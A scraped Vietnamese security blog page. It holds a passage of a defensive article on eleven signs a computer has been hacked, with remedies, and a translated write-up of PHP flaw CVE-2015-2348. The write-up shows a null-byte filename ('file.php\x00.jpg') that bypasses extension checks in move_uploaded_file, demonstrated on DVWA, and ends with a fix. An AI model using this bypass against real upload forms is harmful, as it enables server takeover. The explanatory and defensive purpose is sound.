toolbar “lạ” và tìm trên các công cụ tìm kiếm từ khóa “X toolbar + 
removal tool” (với X là tên thanh công cụ).</div>
 
<div style="text-align: left;">
Một lưu ý nhỏ là khi cài đặt các ứng 
dụng, như trình duyệt hay các trình download, bạn nên đọc kỹ từng bước 
và bỏ chọn hoặc không đồng ý những điều khoản trong các bước cài thêm 
các ứng dụng bổ sung để không vô tình cài phải các công cụ không mong 
muốn. Chẳng hạn, khi cài phần mềm uTorrent, thường có bước yêu cầu bạn 
cài thêm thanh công cụ Ask hay một tên nào khác, chỉ cần bỏ chọn hoặc 
không đồng ý với điều khoản cài đặt là ứng dụng không thể vào máy tính 
được. Với những tình huống vô tình cài phải các thanh công cụ hoặc phần 
mềm độc hại là do chính bạn không đọc kỹ mà muốn cài cho nhanh bằng cách
 nhấn Next > Next cho đến khi Finish.</div>
 
<div style="text-align: left;">
Dấu hiệu thứ 3: Kết quả tìm kiếm hiển thị ở một trang “lạ”</div>
 
<div style="text-align: left;">
Một khi đã xâm nhập vào máy tính của bạn,
 hacker sẽ tìm cách khai thác tối đa những hành vi của người dùng để thu
 thập thông tin. Một trong những cách đơn giản nhưng hiệu quả là chúng 
cho ra những kết quả tìm kiếm hiển thị ở một trang lạ, khi người dùng 
nhấn vào các kết quả thì sẽ chuyển đến những trang độc hại, mặc dù người
 dùng tìm kiếm với Google hay bất cứ công cụ tìm kiếm nào. Những trang 
mà chúng chuyển tới có thể sẽ dụ bạn thực hiện những khảo sát nhằm mục 
đích nào đó để nhận những phần quà giá trị cao, tải ứng dụng miễn phí 
với nhiều chức năng hấp dẫn hay mua hàng giá rẻ để thu thập thông tin 
thanh toán trực tuyến…</div>
</div>
 
<div style="text-align: center;">
<img alt="" class="attachment" src="http://vnnict.com/attachment.php?aid=4" />   
 
Kiểm soát lưu lượng mạng là cách để xác định chắc chắn máy tính đang bị tấn công.</div>
 
Khi có dấu hiệu khả nghi về các kết quả tìm kiếm và trình duyệt chuyển 
đến, nhiều người đã kiểm tra cùng một từ khóa đó ở một máy tính hay điện
 thoại khác, xem kết quả liệt kê có giống nhau không. Đó là một cách làm
 hiệu quả, nhưng cũng có thể máy tính kia cũng đã bị nhiễm virus. Các 
chuyên gia kỹ thuật có thể khẳng định chắc chắn máy tính có bị tấn công 
hay không khi có dấu hiệu lạ bằng cách giám sát lưu lượng băng thông. 
Thường khi trình duyệt bị tấn công, lưu lượng gửi đi và trả về lớn hơn 
rất nhiều so với một máy tính an toàn. 
 
Cách xử lý: Thực hiện các bước tương tự như ở dấu hiệu thứ 2 để gỡ bỏ những công cụ tìm kiếm nguy hiểm. 
 
Dấu hiệu thứ 4: Xuất hiện liên tục các pop-up 
Những triệu chứng phổ biến cho dấu hiệu này là bạn thực sự rất phiền 
phức với nhiều cửa sổ với nhiều nội dung từ quảng cáo, chứa banner khiêu
 dâm cho đến yêu cầu tải phần mềm miễn phí giả mạo… xuất hiện trên màn 
hình. Thông thường, số lượng pop-up xuất hiện không cố định mà rất ngẫu 
nhiên, số lần cũng vậy. Có khi hơn 30 phút, bạn không thấy pop-up nào, 
nhưng cũng có khi chỉ trong 1 phút bạn nhận được cả chục pop-up. 
 
 
<div style="text-align: center;">
<img alt="" class="attachment" src="http://vnnict.com/attachment.php?aid=5" />   
 
 
Pop-up xuất hiện dày đặt trên màn hình máy tính là dấu hiệu chắn chắn là hệ thống đang bị tấn công. 
 
 
<div style="text-align: left;">
Thường những pop-up dạng này miễn nhiễm 
với các công cụ chống pop-up, dù bạn có cài các công cụ hỗ trợ chặn cũng
 không tác dụng. Chắc chắn các nội dung trên cửa sổ pop-up sẽ dẫn đến 
các trang độc hại, tần số và số lượng xuất hiện cũng nhằm khiến bạn phải
 vô tình nhấn nhầm và chúng đạt được mục đích.</div>
 
<div style="text-align: left;">
Cách xử lý: Ngoài cách gỡ bỏ những công 
cụ, phần mềm cài gần nhất gây ra hiện tượng xuất hiện pop-up thì bạn nên
 quét hệ thống bằng các công cụ diệt virus. Nếu vẫn không khắc phục được
 thì tốt nhất hãy khôi phục hệ thống về thời điểm tốt nhất để đảm bảo an
 toàn cho thông tin và dữ liệu.</div>
 
<div style="text-align: left;">
Dấu hiệu thứ 5: Người thân nhận được email hoặc tin nhắn giả mạo tài khoản của bạn</div>
 
<div style="text-align: left;">
Phương thức gửi email chứa nội dung dẫn 
tới trang chứa mã độc đến toàn bộ danh sách địa chỉ liên hệ trong 
Contacts thường được hacker sử dụng để phát tán malware. Hiện tại, đa 
phần những nội dung email do hacker gửi đi từ chính địa chỉ email của 
nạn nhân thường chứa một đường link với lời mời mọc hấp dẫn. Trước đây, 
kẻ tấn công thường chèn một hoặc nhiều tập tin đính kèm vào thẳng email,
 nhưng cách này hiện tại không hiệu quả vì tường lửa và những trình 
antivirus mới có thể quét và xóa sạch.</div>
</div>
 
<div style="text-align: center;">
<a class="highslide" href="http://www.pcworld.com.vn/files/articles/2014/1236378/2-182.jpg" rel="nofollow"><img border="0" src="http://www.pcworld.com.vn/files/articles/2014/1236378/2-182.jpg" style="max-width: 300px;" /></a></div>
 
<div style="text-align: center;">
Hacker dùng email của bạn để phát tán virus qua thư điện tử.</div>
 
 
Hacker hiện tại cũng khai thác những lợi thế của các mạng xã hội, nhất 
là Facebook để phát tán mã độc. Một khi đã chiếm được quyền kiểm soát 
tài khoản Facebook, kẻ tấn công có thể dùng công cụ để gửi tin nhắn, cập
 nhật trạng thái mới với đường link chứa malware đến tường hoặc hộp thư,
 tin nhắn của các tài khoản có trong danh sách bạn của nạn nhân. Các 
trình antivirus hiện tại cũng bổ sung tiện ích nhằm chống lại những cách
 phát tán dạng này, nhưng kẻ tấn công luôn thay đổi cách thức tấn công 
trên mạng xã hội nhằm thoát khỏi sự kiểm soát của trình chống virus. 
 
Cách xử lý: Ngay lập tức sau khi nhận được thông tin về việc nhận được 
email chứa mã độc từ bạn bè, bạn hãy nhanh chóng quét virus cho máy 
tính, đổi mật khẩu cho tài khoản email hay mạng xã hội. Kích hoạt chức 
năng xác thực 2 bước nhằm đảm bảo tính bảo mật cho tài khoản email, tham
 khảo thêm cách kích hoạt bảo mật 2 bước cho Gmail tại <a href="http://www.pcworld.com.vn/T1235742" rel="nofollow" target="_blank">www.pcworld.com.vn/T1235742</a>. 
 
 
Dấu hiệu thứ 6: Mật khẩu của tài khoản trực tuyến đột ngột bị thay đổi 
 
Nếu một hay nhiều mật khẩu của tài khoản email, mạng xã hội… của bạn bất
 ngờ bị thay đổi thì chắc chắn các tài khoản này đã bị hack. Nhiều 
nguyên nhân xuất phát từ việc người dùng làm theo những email giả mạo 
hướng dẫn thay đổi mật khẩu, từ đó tạo điều kiện cho hacker chiếm quyền 
những tài khoản khác. 
 
 
<div style="text-align: center;">
<a class="highslide" href="http://www.pcworld.com.vn/files/articles/2014/1236378/image-update-img.jpg" rel="nofollow"><img border="0" src="http://www.pcworld.com.vn/files/articles/2014/1236378/image-update-img.jpg" style="max-width: 300px;" /></a></div>
 
<div style="text-align: center;">
Cần lấy lại quyền kiểm soát tài khoản ngân hàng khi bị hacker tấn công.</div>
 
Cách xử lý: Trước tiên, bạn hãy tìm cách thông báo đến bạn bè, đối tác, 
người thân tình trạng tài khoản của mình đã bị hack và khuyên họ đừng 
làm theo những gì mà hacker dùng tài khoản của mình để dụ dỗ. Tiếp theo,
 hãy tìm cách lấy lại mật khẩu bằng công cụ “Quên mật khẩu” trên các 
dịch vụ trực tuyến. Một lần nữa, chức năng xác thực 2 bước cần được kích
 hoạt để đảm bảo an toàn cho các tài khoản của bạn. 
 
Dấu hiệu thứ 7: Máy tính tự cài những phần mềm lạ 
 
Máy tính tự động cài những phần mềm không mong muốn mặc dù người dùng cố
 gắng nhấn nút Hủy (Cancel) và không thể nào gỡ bỏ được, là dấu hiệu 
tiếp theo cho thấy máy tính đã bị tấn công. 
 
 
<div style="text-align: center;">
<a class="highslide" href="http://www.pcworld.com.vn/files/articles/2014/1236378/autoruns-1.png" rel="nofollow"><img border="0" src="http://www.pcworld.com.vn/files/articles/2014/1236378/autoruns-1.png" style="max-width: 300px;" /></a></div>
 
<div style="text-align: center;">
Sử dụng các công cụ chuyên dụng để tìm những ứng dụng ẩn tự cài đặt.</div>
 
Nhiều trường hợp máy tính được cài trình chống virus nhưng những phần 
mềm độc hại tự cài vẫn “qua mặt” được vì hacker có khả năng tạo ra những
 giấy phép giả những hãng phần mềm lớn. Để những phần mềm này có thể nằm
 trên máy và tự cài được thì trước đó, có một mã độc (thường là trojan) 
đã xâm nhập vào hệ thống và thực thi những lệnh từ hacker để tải các gói
 phần mềm khác để phục vụ mục đích của mình. 
Cách xử lý: Với thủ đoạn “luồn lách” mới của hacker thì chức năng gỡ bỏ 
phần mềm tích hợp của Windows không còn hiệu quả nữa. Bạn phải dùng đến 
những công cụ mạnh hơn, chẳng hạn như Autoruns (<a href="http://download.sysinternals.com/files/Autoruns.zip" rel="nofollow" target="_blank">http://download.sysinternals.com/files/Autoruns.zip</a>).
 Tiện ích này có thể hiển thị toàn bộ những phần mềm đã cài trên hệ 
thống, kể cả những phần mềm được hacker ẩn danh mà tiện ích Uninstall 
Programs của Windows không thể nhận ra. Bạn có thể vô hiệu các tiến 
trình và ứng dụng lạ và khởi động lại máy tính, sau đó hãy gỡ bỏ chúng 
ra khỏi hệ thống. 
 
 
Dấu hiệu thứ 8: Con trỏ chuột chạy lung tung và dừng lại đúng mục tiêu chỉ định của hacker 
 
Nếu con trỏ chuột trên máy tính của bạn không thể điều khiển được, mà nó
 tự chạy và cuối cùng dừng lại ở một tùy chọn nào đó được định sẵn, rất 
chính xác thì chắc chắn máy tính đã bị tấn công. 
 
 
 
<div style="text-align: center;">
<a class="highslide" href="http://www.pcworld.com.vn/files/articles/2014/1236378/hacking.jpg" rel="nofollow"><img border="0" src="http://www.pcworld.com.vn/files/articles/2014/1236378/hacking.jpg" style="max-width: 300px;" /></a></div>
 
 
Cách xử lý: Bạn cần ngắt kết nối mạng ngay lập tức khi có dấu hiệu này, 
vì rất có thể máy tính đang được điều khiển từ xa bằng một công cụ nào 
đó do hacker tạo ra. Sau đó, dùng một máy tính an toàn để kiểm tra lại 
xem các tài khoản thanh toán, ngân hàng có được an toàn không và thay 
đổi mật khẩu ngay. Cuối cùng, hãy cài lại máy tính hoặc khôi phục hệ 
thống về nguyên bản của nhà sản xuất. 
 
Dấu hiệu thứ 9: Các chương trình chống virus, Task Manager, Registry Editor bị vô hiệu hóa 
 
Đây là những cách cần thiết và cơ bản nhất để chiếm quyền điều khiển một
 máy tính của mọi hacker. Khi bị vô hiệu hóa, các trình antivirus, Task 
Manager hay Registry Editor không thể khởi chạy được, các tùy chọn liên 
quan sẽ bị mờ. Lúc này, hacker tha hồ lộng hành trên máy tính của bạn mà
 không sợ bị ngăn chặn. 
 
 
<div style="text-align: center;">
<a class="highslide" href="http://www.pcworld.com.vn/files/articles/2014/1236378/image43.png" rel="nofollow"><img border="0" src="http://www.pcworld.com.vn/files/articles/2014/1236378/image43.png" style="max-width: 300px;" /></a></div>
 
<div style="text-align: center;">
Task Manager hay những công cụ hệ thống khác bị vô hiệu cho biết bạn đã mất quyền kiểm soát máy tính.</div>
 
 
Cách xử lý: Có nhiều công cụ để kích hoạt lại các công cụ Task Manager 
hay Registry Editor mà bạn có thể thấy trên các kết quả từ các công cụ 
tìm kiếm, nhưng cách này không giải quyết triệt để. Virus, mã độc vẫn 
còn trên máy tính và ngày càng phát tán rộng rãi hơn. Do đó, cách tốt 
nhất vẫn là khôi phục hoặc cài lại hệ điều hành. 
 
Dấu hiệu thứ 10: Tài khoản ngân hàng bị mất tiền 
 
Đến lúc phát hiện tài khoản ngân hàng của bạn bị hao hụt là hacker đã 
đạt được mục đích, những thông tin cần thiết để thực hiện một giao dịch 
đã bị chúng chiếm giữ. 
 
Cách xử lý: Nhanh chóng liên hệ với ngân hàng hay các dịch vụ thanh toán
 để yêu cầu khóa tài khoản và thực hiện các thủ tục cần thiết để lấy lại
 thông tin tài khoản. Sau đó, hãy reset (cài lại) toàn bộ những thiết bị
 có thực hiện giao dịch trước đó và chứa thông tin tài khoản ngân hàng, 
từ máy tính, smartphone đến máy tính bảng. 
 
 
<div style="text-align: center;">
<a class="highslide" href="http://www.pcworld.com.vn/files/articles/2014/1236378/growth-hacker.jpg" rel="nofollow"><img border="0" src="http://www.pcworld.com.vn/files/articles/2014/1236378/growth-hacker.jpg" style="max-width: 300px;" /></a></div>
 
 
Dấu hiệu thứ 11: Nhận được cuộc gọi về những đơn đặt hàng</div>
<div class="thx_list hide" id="thx_list252">
 <div style="text-align: left;">
Hacker đã có được thông tin tài khoản thanh toán của bạn nhưng chưa thể 
trả tiền để mua hàng, các cửa hàng hoặc dịch vụ bán hàng qua mạng phải 
gọi điện xác nhận trước khi thanh toán. Bạn cần tỉnh táo để không bị mất
 tiền vì những món đồ không phải do mình đặt mua. 
Cách xử lý: Hủy các đơn hàng đã đặt với thông tin thanh toán của bạn, 
nhờ sợ can thiệp của cơ quan chức năng để được bảo vệ. Sau đó, nhanh 
chóng đổi mật khẩu cho các tài khoản thanh toán trực tuyến, ngân hàng.</div>
 
<div style="text-align: left;">
Nguồn: http://vnnict.com/thread-249.html</div>

</div>
</div>
</div>
</div>
</div>
</div>
<div class="post_controls">
</div>
</div>
</div>
</td></tr>
</tbody></table>

Cách nhận biết máy tính của bạn có bị hack hay không

Chỉ cần dựa vào những dấu hiệu lạ xuất hiện trong quá trình sử dụng máy tính, bạn có thể biết được máy của bạn đã và đang bị tấn c...

Đọc thêm »

san

WordPress PHP Event Calendar 1.5 Arbitrary File Upload Vulnerability | Security - Bảo mật website

Bấm vào đây để xem bài: WordPress PHP Event Calendar 1.5 Arbitrary File Upload Vulnerability | Security - Bảo mật website

Đọc thêm »

san

Hôm nay tôi muốn gửi về các lỗi gần đây nhất mà tôi đã tìm thấy trong PHP, CVE-2015-2348. Lỗi này là khá quan trọng (xem xét số lượng của các nhà phát triển bị ảnh hưởng). 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4iK_3Tw4hvFKUpUWEyNoM6RlaFYNKOfXSsRxzsqcZPqpzSbY28RcKZNnmObFmoWXQCvzoH4pONjttDrsTC0ngaa1Ih1GjA5zYgmZtwPxlFiTHxdeTni-NmbE3SDhg_qITBQKtE3h5CPIK/s1600/php-bug.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4iK_3Tw4hvFKUpUWEyNoM6RlaFYNKOfXSsRxzsqcZPqpzSbY28RcKZNnmObFmoWXQCvzoH4pONjttDrsTC0ngaa1Ih1GjA5zYgmZtwPxlFiTHxdeTni-NmbE3SDhg_qITBQKtE3h5CPIK/s1600/php-bug.jpg" /></a></div>
 
 
Vấn đề xảy ra trong chức năng move_uploaded_files của php rất phổ biến được sử dụng để xử lý các tập tin được tải lên. Chức năng này kiểm tra để đảm bảo rằng các tập tin được chỉ định theo tên tập tin là một tập tin upload hợp lệ (nghĩa là nó đã được tải lên thông qua HTTP POST cơ chế upload PHP). Nếu tập tin có giá trị, nó sẽ được chuyển đến các tên tập tin đích. 
Ví dụ: 
<blockquote class="tr_bq">
move_uploaded_file ( string $filename , string $destination )  </blockquote>
Các vấn đề với nó là có một cách để chèn byts null để bypass,  Sử dụng nullbytes một kẻ tấn công có thể thực hiện bypass upload, các tập tin là tương đối hợp lệ và tải lên các tập tin độc hại có thể gây ra RCE bằng cách sử dụng sử dụng các ký tự \ x00. 
 
Tôi sẽ lấy một ví dụ với DVWA với mức cao nhất.  Dưới đây là mã snippit từ https://github.com/RandomStorm/DVWA/blob/master/vulnerabilities/upload/source/high.php:  
<blockquote class="tr_bq">
 $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { $html .= ''; $html .= 'Your image was not uploaded.'; $html .= ''; } else { $html .= $target_path . ' succesfully uploaded!'; . . </blockquote>
<span title="Expected behavior for PHP to create:

">Dự kiến hành vi bypass PHP để tạo ra: 
<blockquote class="tr_bq">
<span title="move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg")

">move_uploaded_file ($ _ FILES ['name'] ['tmp_name'], "/ file.php \ x00.jpg")</blockquote>
<span title="That file should have created the file "file.php\x00.jpg"

">và đã tạo ra các tập tin "file.php \ x00.jpg"<span title="Reality creates: file.php

">Thực tế thì nó tạo ra: file.php  
 
<span title="Now we could have done multiple checks for this, however its unlikly we blacklisted the char \x00 so most upload forms running PHP before 5.4.39, 5.5.x before 5.5.23, and 5.6.x before 5.6.7 are vulnerable for this">Hầu hết các hình thức upload chạy PHP  trước 5.4.39, 5.5.x trước 5.5.23, và 5.6.x trước 5.6.7 đều dính lỗi này. 
 
<span title="Now we could have done multiple checks for this, however its unlikly we blacklisted the char \x00 so most upload forms running PHP before 5.4.39, 5.5.x before 5.5.23, and 5.6.x before 5.6.7 are vulnerable for this"> Cách khắc phục Lọc bỏ giá trị Nullbyte trong tên của tệp tin tải lên máy chủ ($_FILES[‘uploaded’][‘name’]) trước khi sử dụng hàm move_uploaded_file và cập nhật lên các bản PHP mới nhất đã vá lỗi.      
Dịch từ: www.paulosyibelo.com

Exploiting PHP Upload forms

Hôm nay tôi muốn gửi về các lỗi gần đây nhất mà tôi đã tìm thấy trong PHP , CVE - 2015-2348 . Lỗi này là khá quan trọng ( xem xét s...

Đọc thêm »

Free share all

Tổng hợp những lệnh shell hay dùng khi local

Tư duy - Phương hướng Attack Website - Server

Một vài thuật ngữ hacking

Cách nhận biết máy tính của bạn có bị hack hay không

WordPress PHP Event Calendar 1.5 Arbitrary File Upload Vulnerability | Security - Bảo mật website

Exploiting PHP Upload forms

Bài đăng phổ biến

Bình luận

Lưu trữ Blog